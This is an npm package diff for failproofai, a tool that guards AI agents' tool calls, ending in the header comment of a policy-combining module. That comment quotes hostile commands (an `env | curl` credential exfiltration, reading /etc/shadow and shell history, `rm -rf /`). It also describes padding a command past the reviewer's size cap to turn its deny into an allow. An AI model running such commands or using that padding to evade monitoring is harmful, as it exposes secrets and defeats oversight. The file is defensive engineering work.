failproofai 1.0.7 → 1.0.8-beta.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.next/standalone/.next/BUILD_ID +1 -1
- package/.next/standalone/.next/build-manifest.json +3 -3
- package/.next/standalone/.next/prerender-manifest.json +4 -4
- package/.next/standalone/.next/required-server-files.json +1 -1
- package/.next/standalone/.next/server/app/_global-error/page/server-reference-manifest.json +1 -1
- package/.next/standalone/.next/server/app/_global-error/page.js +4 -4
- package/.next/standalone/.next/server/app/_global-error/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/_global-error/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/_global-error.html +1 -1
- package/.next/standalone/.next/server/app/_global-error.rsc +7 -7
- package/.next/standalone/.next/server/app/_global-error.segments/__PAGE__.segment.rsc +6 -6
- package/.next/standalone/.next/server/app/_global-error.segments/_full.segment.rsc +7 -7
- package/.next/standalone/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
- package/.next/standalone/.next/server/app/_not-found/page/server-reference-manifest.json +1 -1
- package/.next/standalone/.next/server/app/_not-found/page.js +4 -4
- package/.next/standalone/.next/server/app/_not-found/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/_not-found/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/_not-found.html +1 -1
- package/.next/standalone/.next/server/app/_not-found.rsc +15 -15
- package/.next/standalone/.next/server/app/_not-found.segments/_full.segment.rsc +15 -15
- package/.next/standalone/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +14 -14
- package/.next/standalone/.next/server/app/_not-found.segments/_tree.segment.rsc +2 -2
- package/.next/standalone/.next/server/app/api/audit/invite/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/audit/run/route.js +8 -7
- package/.next/standalone/.next/server/app/api/audit/run/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/audit/status/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/auth/login-request/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/auth/login-verify/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/auth/logout/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/auth/status/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/download/[project]/[session]/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/audit/page/server-reference-manifest.json +2 -2
- package/.next/standalone/.next/server/app/audit/page.js +9 -7
- package/.next/standalone/.next/server/app/audit/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/audit/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/index.html +1 -1
- package/.next/standalone/.next/server/app/index.rsc +15 -15
- package/.next/standalone/.next/server/app/index.segments/__PAGE__.segment.rsc +14 -14
- package/.next/standalone/.next/server/app/index.segments/_full.segment.rsc +15 -15
- package/.next/standalone/.next/server/app/index.segments/_tree.segment.rsc +2 -2
- package/.next/standalone/.next/server/app/page/server-reference-manifest.json +1 -1
- package/.next/standalone/.next/server/app/page.js +6 -6
- package/.next/standalone/.next/server/app/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/policies/page/server-reference-manifest.json +14 -14
- package/.next/standalone/.next/server/app/policies/page.js +11 -10
- package/.next/standalone/.next/server/app/policies/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/policies/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/project/[name]/page/server-reference-manifest.json +1 -1
- package/.next/standalone/.next/server/app/project/[name]/page.js +8 -7
- package/.next/standalone/.next/server/app/project/[name]/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/project/[name]/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page/react-loadable-manifest.json +2 -2
- package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page/server-reference-manifest.json +2 -2
- package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page.js +6 -6
- package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/projects/page/server-reference-manifest.json +1 -1
- package/.next/standalone/.next/server/app/projects/page.js +7 -6
- package/.next/standalone/.next/server/app/projects/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/projects/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/settings/page/server-reference-manifest.json +52 -8
- package/.next/standalone/.next/server/app/settings/page.js +12 -7
- package/.next/standalone/.next/server/app/settings/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/settings/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/chunks/{[externals]__1msfs-h._.js → [externals]__19_pzeq._.js} +1 -1
- package/.next/standalone/.next/server/chunks/{[externals]__1_bftcl._.js → [externals]__20kzpkf._.js} +1 -1
- package/.next/standalone/.next/server/chunks/[root-of-the-server]__0o07qi9._.js +1 -1
- package/.next/standalone/.next/server/chunks/[root-of-the-server]__1ttrwnd._.js +22 -0
- package/.next/standalone/.next/server/chunks/_09dz7xv._.js +21 -21
- package/.next/standalone/.next/server/chunks/_0tovk6q._.js +1 -1
- package/.next/standalone/.next/server/chunks/_0trp3yc._.js +1 -1
- package/.next/standalone/.next/server/chunks/_1ek68ln._.js +16 -16
- package/.next/standalone/.next/server/chunks/{_1c3k-8x._.js → _1q5i8mb._.js} +2 -2
- package/.next/standalone/.next/server/chunks/lib_16xa545._.js +3 -0
- package/.next/standalone/.next/server/chunks/package_json_[json]_cjs_1nxcc4v._.js +1 -1
- package/.next/standalone/.next/server/chunks/src_hooks_1aveq0u._.js +5 -0
- package/.next/standalone/.next/server/chunks/src_hooks_1eem5a7._.js +3 -0
- package/.next/standalone/.next/server/chunks/src_hooks_custom-hooks-loader_ts_0lnb3n3._.js +4 -2
- package/.next/standalone/.next/server/chunks/ssr/[externals]__0ohnuzs._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__01bmjsj._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__04usis8._.js +4 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__056wjo4._.js +4 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__059yza8._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__06pflha._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0eip4_k._.js +22 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0n0xg95._.js +4 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0qcb0mg._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0rwtwpm._.js +4 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0yrsbd_._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__11mayhe._.js +4 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__12e7nhs._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__13d-wb6._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__0bd3mje._.js → [root-of-the-server]__14o3ek1._.js} +2 -2
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__15578wp._.js +4 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__19evfi8._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1dinjii._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1m_svbe._.js +4 -0
- package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__0cxe_2_._.js → [root-of-the-server]__1mf3zp6._.js} +3 -3
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1pprgri._.js +4 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1q4p5b8._.js +4 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1qiz0e4._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/_042cgl1._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/_08x1r5t._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/_0bqoto4._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/{_166t73i._.js → _0o4xkpl._.js} +1 -1
- package/.next/standalone/.next/server/chunks/ssr/_0uyu3jf._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/{_1-i_gzc._.js → _1-7sqrb._.js} +2 -2
- package/.next/standalone/.next/server/chunks/ssr/{_1es2j7i._.js → _1gb0ifp._.js} +5 -5
- package/.next/standalone/.next/server/chunks/ssr/{_1_qswah._.js → _1q46vxx._.js} +2 -2
- package/.next/standalone/.next/server/chunks/ssr/_1zopuov._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/_next-internal_server_app_policies_page_actions_1sp2-yo.js +13 -13
- package/.next/standalone/.next/server/chunks/ssr/app_actions_get-scheduled-audit_ts_0ei9sni._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/app_audit__components_audit-dashboard_tsx_0p9ud47._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/app_global-error_tsx_1kp6l3x._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/app_policies_hooks-client_tsx_19dqvpc._.js +2 -2
- package/.next/standalone/.next/server/chunks/ssr/app_settings_02tf1h4._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/node_modules_next_0aiy-os._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/{node_modules_next_dist_0drixxt._.js → node_modules_next_dist_0w6mzq5._.js} +4 -4
- package/.next/standalone/.next/server/chunks/ssr/node_modules_next_dist_18_d8l1._.js +151 -0
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_0-q0umm._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_06kzv9d._.js +12 -0
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_0g194sy._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_1cv9_c4._.js +4 -2
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_1kx9e0d._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_effective-reviewers_ts_1h4wtvo._.js +5 -0
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_fp-config_ts_04t589g._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_fp-home_ts_0je3xkv._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_pack-cli_ts_0t7me65._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_semantic_pack-policies_ts_0gh_bu_._.js +3 -0
- package/.next/standalone/.next/server/middleware-build-manifest.js +3 -3
- package/.next/standalone/.next/server/pages/404.html +1 -1
- package/.next/standalone/.next/server/pages/500.html +1 -1
- package/.next/standalone/.next/server/server-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/server-reference-manifest.json +67 -23
- package/.next/standalone/.next/static/chunks/078gnymqoh3r4.js +1 -0
- package/.next/standalone/.next/static/chunks/{2mdh397ghgnvv.js → 0ahfwmbkpgfw4.js} +1 -1
- package/.next/standalone/.next/static/chunks/0bhidk90e-07f.css +2 -0
- package/.next/standalone/.next/static/chunks/1bu2-nv59ed6i.js +1 -0
- package/.next/standalone/.next/static/chunks/{0o6qlkgubtoex.js → 1v_tp3hm8wyhe.js} +1 -1
- package/.next/standalone/.next/static/chunks/2a405_e1o26ol.js +1 -0
- package/.next/standalone/.next/static/chunks/2qv4hshejedtx.css +1 -0
- package/.next/standalone/.next/static/chunks/2vo7qbdbvnc0o.js +69 -0
- package/.next/standalone/.next/static/chunks/{13i7-9is-vhys.js → 2z7i-yg59w4pn.js} +1 -1
- package/.next/standalone/.next/static/chunks/36uhh9el_oz8e.js +1 -0
- package/.next/standalone/.next/static/chunks/{0__8a7m868fvf.js → 3bgot5v6f6s3c.js} +1 -1
- package/.next/standalone/.next/static/chunks/3o3f1ibfci0p7.js +6 -0
- package/.next/standalone/PROBE-FOLLOWUP.md +186 -0
- package/.next/standalone/app/actions/get-jev-config.ts +604 -0
- package/.next/standalone/app/actions/pack-actions.ts +12 -0
- package/.next/standalone/app/actions/update-jev-config.ts +569 -0
- package/.next/standalone/app/components/jev-notices.tsx +96 -0
- package/.next/standalone/app/policies/hooks-client.tsx +14 -3
- package/.next/standalone/app/settings/jev-panel.tsx +630 -0
- package/.next/standalone/app/settings/page.tsx +20 -1
- package/.next/standalone/app/settings/settings-client.tsx +27 -1
- package/.next/standalone/app/settings/settings.css +79 -0
- package/.next/standalone/fp-cloud-cli/CHANGELOG.md +22 -4
- package/.next/standalone/fp-cloud-cli/fp_cli/client.py +14 -1
- package/.next/standalone/fp-cloud-cli/fp_cli/commands/keys_cmds.py +17 -3
- package/.next/standalone/fp-cloud-cli/fp_cli/commands/policies_cmds.py +3 -0
- package/.next/standalone/fp-cloud-cli/fp_cli/permissions.py +22 -0
- package/.next/standalone/fp-cloud-cli/fp_cli/policy_check.py +169 -0
- package/.next/standalone/fp-cloud-cli/skill/references/commands.md +1 -1
- package/.next/standalone/fp-cloud-cli/tests/test_keys_queries.py +65 -0
- package/.next/standalone/fp-cloud-cli/tests/test_policy_check.py +61 -0
- package/.next/standalone/package.json +10 -10
- package/.next/standalone/sdk/python/CHANGELOG.md +7 -0
- package/.next/standalone/sdk/python/failproofai_sdk/_version.py +1 -1
- package/.next/standalone/sdk/typescript/scripts/release.mjs +30 -0
- package/.next/standalone/server.js +1 -1
- package/README.md +3 -2
- package/bin/failproofai.mjs +148 -4
- package/dist/cli.mjs +18537 -9492
- package/dist/index.js +19 -1
- package/dist/worker.mjs +10421 -3770
- package/package.json +10 -10
- package/pi-extension/index.ts +11 -0
- package/scripts/build-policy-pack.mjs +53 -2
- package/src/audit/features.ts +3 -2
- package/src/hooks/builtin-policies.ts +195 -8
- package/src/hooks/cloud-connection.ts +190 -1
- package/src/hooks/cloud-enrollment-cli.ts +57 -8
- package/src/hooks/cloud-introspect.ts +6 -0
- package/src/hooks/cloud-managed-policies.ts +22 -0
- package/src/hooks/configure-wizard.ts +26 -6
- package/src/hooks/custom-hooks-loader.ts +98 -10
- package/src/hooks/custom-hooks-registry.ts +45 -1
- package/src/hooks/effective-reviewers.ts +243 -0
- package/src/hooks/first-run-gate.ts +5 -0
- package/src/hooks/flush-cli.ts +35 -8
- package/src/hooks/fp-config.ts +266 -1
- package/src/hooks/fp-home.ts +23 -0
- package/src/hooks/fp-reset.ts +22 -4
- package/src/hooks/handler.ts +303 -7
- package/src/hooks/hook-activity-store.ts +118 -6
- package/src/hooks/hook-telemetry.ts +41 -0
- package/src/hooks/jev-activity.ts +385 -0
- package/src/hooks/jev-cli.ts +2172 -0
- package/src/hooks/jev-cloud-connection.ts +392 -0
- package/src/hooks/loader-utils.ts +6 -0
- package/src/hooks/manager.ts +45 -7
- package/src/hooks/pack-cli.ts +568 -37
- package/src/hooks/pack-failclosed.ts +3 -0
- package/src/hooks/pack-manifest.ts +489 -7
- package/src/hooks/pack-store.ts +194 -11
- package/src/hooks/policy-authority.ts +386 -0
- package/src/hooks/policy-catalog.ts +206 -0
- package/src/hooks/policy-evaluator.ts +963 -796
- package/src/hooks/policy-registry.ts +27 -1
- package/src/hooks/policy-reviewability.ts +258 -0
- package/src/hooks/policy-types.ts +128 -0
- package/src/hooks/semantic/combine.ts +581 -0
- package/src/hooks/semantic/compile.ts +176 -0
- package/src/hooks/semantic/decide.ts +408 -0
- package/src/hooks/semantic/envelope.ts +1255 -0
- package/src/hooks/semantic/evaluator.ts +556 -0
- package/src/hooks/semantic/facts.ts +298 -0
- package/src/hooks/semantic/intent.ts +1190 -0
- package/src/hooks/semantic/jev-client.ts +1155 -0
- package/src/hooks/semantic/jev-config.ts +1142 -0
- package/src/hooks/semantic/jev-review.ts +389 -0
- package/src/hooks/semantic/jev-stats.ts +289 -0
- package/src/hooks/semantic/jev-throttle.ts +427 -0
- package/src/hooks/semantic/pack-policies.ts +294 -0
- package/src/hooks/semantic/policies.ts +597 -0
- package/src/hooks/semantic/precondition-names.ts +60 -0
- package/src/hooks/semantic/preconditions.ts +58 -0
- package/src/hooks/semantic/redact.ts +2937 -0
- package/src/hooks/semantic/session-root.ts +116 -0
- package/src/hooks/semantic/types.ts +156 -0
- package/src/hooks/semver-precedence.ts +128 -0
- package/src/hooks/tui.ts +4 -0
- package/src/hooks/types.ts +1 -1
- package/src/hooks/worker-server.ts +121 -27
- package/src/index.ts +6 -0
- package/.next/standalone/.next/server/chunks/[root-of-the-server]__0cuho4x._.js +0 -3
- package/.next/standalone/.next/server/chunks/[root-of-the-server]__1_r2rbg._.js +0 -24
- package/.next/standalone/.next/server/chunks/src_hooks_0iu54mz._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0-_ki57._.js +0 -4
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__013jr2b._.js +0 -4
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__01wy8d-._.js +0 -4
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__02npjtd._.js +0 -4
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0cg-bgc._.js +0 -5
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0cpu_mj._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0da85px._.js +0 -4
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0ftmoxc._.js +0 -4
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0p-5p8u._.js +0 -4
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0u3w0ll._.js +0 -22
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__17d_ffl._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__19d9tgz._.js +0 -5
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1ctpynv._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1jiwfsj._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1p2otjt._.js +0 -4
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1phc187._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/_06imw3p._.js +0 -5
- package/.next/standalone/.next/server/chunks/ssr/_0h_douw._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/_1u8-lu2._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/app_settings_settings-client_tsx_20lq-mq._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_builtin-policies_ts_09j2ndl._.js +0 -3
- package/.next/standalone/.next/static/chunks/094xgi4owxaqf.js +0 -1
- package/.next/standalone/.next/static/chunks/1rz20_pz828f3.js +0 -6
- package/.next/standalone/.next/static/chunks/2k9f4tyv04809.css +0 -1
- package/.next/standalone/.next/static/chunks/2klitrtzpaoe0.js +0 -1
- package/.next/standalone/.next/static/chunks/2rshywgeqsyzk.css +0 -2
- package/.next/standalone/.next/static/chunks/3pzx4chkhko9k.js +0 -1
- package/.next/standalone/.next/static/chunks/3rh5o7e16irrm.js +0 -69
- package/.next/standalone/.next/static/chunks/43ufqrz8qo3h-.js +0 -1
- /package/.next/standalone/.next/static/{PgeWCHmyVbjRznv2VO7KF → O_b5R1axf5cb4NxIXq2kS}/_buildManifest.js +0 -0
- /package/.next/standalone/.next/static/{PgeWCHmyVbjRznv2VO7KF → O_b5R1axf5cb4NxIXq2kS}/_clientMiddlewareManifest.js +0 -0
- /package/.next/standalone/.next/static/{PgeWCHmyVbjRznv2VO7KF → O_b5R1axf5cb4NxIXq2kS}/_ssgManifest.js +0 -0
|
@@ -0,0 +1,581 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* The two-tier combine rules: regex policy verdicts + Jev's review → one
|
|
3
|
+
* final verdict, plus what to record about how it was reached.
|
|
4
|
+
*
|
|
5
|
+
* Pure and synchronous, importing only types and one constant from the equally
|
|
6
|
+
* pure `jev-activity.ts`, so it can sit on the hook path (`policy-evaluator.ts`
|
|
7
|
+
* imports it) without pulling the semantic evaluator into the bundle, and so
|
|
8
|
+
* every row of the table below is testable offline.
|
|
9
|
+
*
|
|
10
|
+
* | Situation | Result |
|
|
11
|
+
* |-----------------------------------------------|-------------------------------------------------------------|
|
|
12
|
+
* | not configured / FAILPROOFAI_EVALUATOR=legacy | `regexOnly` — never reaches this module's `combineTwoTier` |
|
|
13
|
+
* | any HARD deny | the regex result (Jev was aborted, so nothing is cleared) |
|
|
14
|
+
* | Jev degraded — transport, timeout, 429, 402, | the regex result, every deny counts; recorded `jev-fallback`|
|
|
15
|
+
* | 5xx, malformed, model mismatch | |
|
|
16
|
+
* | Jev answered, but part of the CALL was cut | nothing is cleared, so every regex deny counts; Jev's own |
|
|
17
|
+
* | | verdict still joins the most-severe rule; recorded |
|
|
18
|
+
* | | `jev-fallback` / `request-cut`, with its decision |
|
|
19
|
+
* | Jev answered, but a MESSAGE was cut — a human | exactly the row below: the clears stand, and it is NOT |
|
|
20
|
+
* | turn, the agent's last message, or a prompt | recorded as a fallback |
|
|
21
|
+
* | the intent store had already capped | |
|
|
22
|
+
* | Jev answered | reviewable denies/instructs Jev covered are cleared; final =|
|
|
23
|
+
* | | the most severe of {remaining regex results, Jev's verdict} |
|
|
24
|
+
*
|
|
25
|
+
* `shadow` mode computes and records all of it, and still returns the regex
|
|
26
|
+
* result.
|
|
27
|
+
*
|
|
28
|
+
* ## Where this departs from plan §4
|
|
29
|
+
*
|
|
30
|
+
* §4's combine table files BOTH cuts under one row — "Jev degraded (timeout,
|
|
31
|
+
* 429, HTTP/parse error, model-version mismatch) **or the envelope was
|
|
32
|
+
* truncated** → today's regex result (every deny counts); record
|
|
33
|
+
* `evaluator: "jev-fallback"` plus the reason". The two rows above are that
|
|
34
|
+
* row as shipped, and if you arrived from §4 these are the two differences,
|
|
35
|
+
* stated once so nothing below is a surprise:
|
|
36
|
+
*
|
|
37
|
+
* 1. **A cut MESSAGE is not a fallback at all.** Nothing about the CALL was
|
|
38
|
+
* missing and nothing was withheld, so the clears stand and the row is
|
|
39
|
+
* recorded `jev`. Filing it as a fallback made the length of the human's
|
|
40
|
+
* own paste decide the verdict — the same call came out `allow` after a
|
|
41
|
+
* 77-character prompt and `deny` after a 3,000-character one — and inflated
|
|
42
|
+
* the fallback rate with calls Jev answered in full. "What a cut MESSAGE
|
|
43
|
+
* does: nothing", below, is the argument at length.
|
|
44
|
+
* 2. **A cut CALL is a fallback, but not "exactly the regex result".** It
|
|
45
|
+
* clears nothing, so every regex deny counts, which is the half of §4 that
|
|
46
|
+
* protects anything. What it does NOT do is throw Jev's own answer away:
|
|
47
|
+
* that answer still joins the most-severe merge, upward only. Reading §4 as
|
|
48
|
+
* "discard the verdict" made padding a command past the envelope's cap a
|
|
49
|
+
* working way to stop Jev's OWN deny applying (a real repro: `rm -rf /
|
|
50
|
+
* --no-preserve-root` + 2,100 spaces flipped deny → allow). A cut is
|
|
51
|
+
* attacker-influenceable, so it may never SUBTRACT severity.
|
|
52
|
+
*
|
|
53
|
+
* One principle underneath both: a partial picture withdraws CLEARS and
|
|
54
|
+
* nothing else. §4's guarantee — a call the tier could not read whole can
|
|
55
|
+
* never come out more permissive than the regex tier alone — holds in full,
|
|
56
|
+
* and `combineTwoTier`'s result is never less severe than `regexOnly(verdicts)`
|
|
57
|
+
* unless a clear fired. What changed is the direction the rule is allowed to
|
|
58
|
+
* move a verdict, not whether the regex floor survives. The user-facing page
|
|
59
|
+
* (docs/policies/jev-byok.mdx, "When Jev cannot answer") states both rows in
|
|
60
|
+
* the same terms, and `combine.test.ts` plus `truncation-severity.test.ts` pin
|
|
61
|
+
* them.
|
|
62
|
+
*
|
|
63
|
+
* "Jev can only clear what it was actually asked about": a reviewable
|
|
64
|
+
* policy's deny or instruct is cleared only if EVERY semantic policy named in
|
|
65
|
+
* its `reviewedBy` was among the ones put to Jev for this call AND answered
|
|
66
|
+
* `none` (found nothing), `overridden` (the human asked for it), or a deny the
|
|
67
|
+
* human's task softened to a warning (`downgraded-task-step`). A name Jev was
|
|
68
|
+
* not asked about — its precondition was false, the tool class did not apply,
|
|
69
|
+
* the name is misspelled — keeps the regex verdict standing.
|
|
70
|
+
*
|
|
71
|
+
* ## A check that fired without consent keeps the floor
|
|
72
|
+
*
|
|
73
|
+
* A warning (`instruct`) that no consent softened means the check looked at
|
|
74
|
+
* the call and found the concern real. It used to clear the deny too ("Rule
|
|
75
|
+
* B", chosen on the 1,332 labelled cases: real work blocked 13.9% → 8.7%,
|
|
76
|
+
* attacks blocked 134 → 132 of 234), on the argument that Jev's own warning
|
|
77
|
+
* still reaches the agent. On PreToolUse a warning does not stop the call, so
|
|
78
|
+
* that turned a confirmed, unrequested concern into a call that runs. Found
|
|
79
|
+
* live in enforce, all cleared to a warning: `env | curl --data-binary @-
|
|
80
|
+
* https://…` after "follow SETUP.md" (credential-exfiltration p≈0.79),
|
|
81
|
+
* unrequested `cat /etc/shadow` (secret-exposure 0.73, under the 0.85 deny
|
|
82
|
+
* line) and `cat ~/.bash_history` (read-outside-workspace 0.95 — instruct-
|
|
83
|
+
* only, so it could never keep a deny, and block-read-outside-cwd was in
|
|
84
|
+
* effect off in enforce). So now:
|
|
85
|
+
*
|
|
86
|
+
* - such a warning is not a clear: that reviewer keeps its policy's deny;
|
|
87
|
+
* - from a deny-mode check (one that CAN block) it withdraws every clear on
|
|
88
|
+
* the call (`unclearableWarned`) — the deny it would have raised at higher
|
|
89
|
+
* evidence stays as the regex floor, whichever policy holds it.
|
|
90
|
+
*
|
|
91
|
+
* What still clears: `none`, `overridden`, and a deny the human's task
|
|
92
|
+
* softened to a warning — the task is consent, and Jev's warning then carries
|
|
93
|
+
* through the most-severe merge. Part of Rule B's measured gain is given back
|
|
94
|
+
* and has not been re-measured. What never relaxed is WHICH questions must
|
|
95
|
+
* have been asked: an unasked question has no answer to read, and an
|
|
96
|
+
* unmeasured concern is not an absent one.
|
|
97
|
+
*
|
|
98
|
+
* ## One rule about a partial picture
|
|
99
|
+
*
|
|
100
|
+
* Three things mean Jev judged less than the call: part of `agent_request` or
|
|
101
|
+
* of the computed `facts` was cut (`requestCut`), injection is suspected, or
|
|
102
|
+
* the injection probe was never asked. Each withdraws every CLEAR and nothing
|
|
103
|
+
* else. Jev's own deny or instruct still joins the most-severe rule, because
|
|
104
|
+
* an answer given on part of the evidence can only ever ADD severity —
|
|
105
|
+
* `combineTwoTier`'s result is never less severe than `regexOnly(verdicts)`
|
|
106
|
+
* unless a clear fired, and a clear fires only when the call was read whole,
|
|
107
|
+
* injection was asked about, and the answer was no.
|
|
108
|
+
*
|
|
109
|
+
* That is what makes padding useless AGAINST THE CALL'S OWN TEXT. Five review
|
|
110
|
+
* rounds tried to prevent the hiding instead — a head-and-tail window, a token
|
|
111
|
+
* skeleton, per-field caps — and each time the next spelling walked through
|
|
112
|
+
* it, because a bounded projection of an unbounded string always drops
|
|
113
|
+
* SOMETHING and the attacker picks what. So this rule does not try: dropping a
|
|
114
|
+
* byte of `agent_request` requires a cut, every such cut sets `requestCut`
|
|
115
|
+
* (`envelope.ts`), and a call with `requestCut` can clear nothing. Spending the
|
|
116
|
+
* budget can cost a call its clears; it can never buy one.
|
|
117
|
+
*
|
|
118
|
+
* The same sentence is NOT true of the derived `facts`, and saying so is
|
|
119
|
+
* better than asserting a property the code does not have. `facts` are
|
|
120
|
+
* computed from the first `MAX_SCAN_CHARS` characters of a command and from a
|
|
121
|
+
* capped number of paths (`facts.ts`), and neither bound sets a flag. What a
|
|
122
|
+
* long enough command can therefore cost is a QUESTION — `selectPolicies` may
|
|
123
|
+
* not pick a probe whose precondition reads those facts — not a clear on
|
|
124
|
+
* evidence Jev never saw: the command text itself is carried whole and judged.
|
|
125
|
+
* Flagging it from here was measured and rejected (it charges an ordinary
|
|
126
|
+
* 20,000-character heredoc, and `prettier --write` over thirteen files, their
|
|
127
|
+
* clears); the narrow fix is for `facts.ts` to report that it stopped and for
|
|
128
|
+
* `policies.ts` to read incomplete evidence as a reason to ASK MORE. Until
|
|
129
|
+
* that lands, this paragraph — not the one above it — is what holds. See
|
|
130
|
+
* `envelope.ts`'s header for the same statement at the source.
|
|
131
|
+
*
|
|
132
|
+
* ## What size may NOT do
|
|
133
|
+
*
|
|
134
|
+
* A previous revision went one step further and DENIED a call whose own text
|
|
135
|
+
* had been cut — `semantic/request-too-large-to-review`, telling the agent to
|
|
136
|
+
* split it up. That is gone, and it is worth saying why, because the argument
|
|
137
|
+
* for it was not silly: in the case this tier exists for, the regex tier has
|
|
138
|
+
* no rule, so its floor is `allow`, and withdrawing clears protects nothing.
|
|
139
|
+
*
|
|
140
|
+
* It was still wrong. The refusal was a deny this product invented, on work no
|
|
141
|
+
* policy objected to, at a threshold ordinary calls reach — a ~1,400-line
|
|
142
|
+
* `Write`, a large MCP body, a long generated migration. The whole reason this
|
|
143
|
+
* tier exists is that regex policies block a third of real work; a new
|
|
144
|
+
* refusal of our own, firing on size rather than on behaviour, spends the
|
|
145
|
+
* benefit it was built to deliver. And it is not even the strongest available
|
|
146
|
+
* answer: Jev is still ASKED, with whatever fitted, and a cut call that is
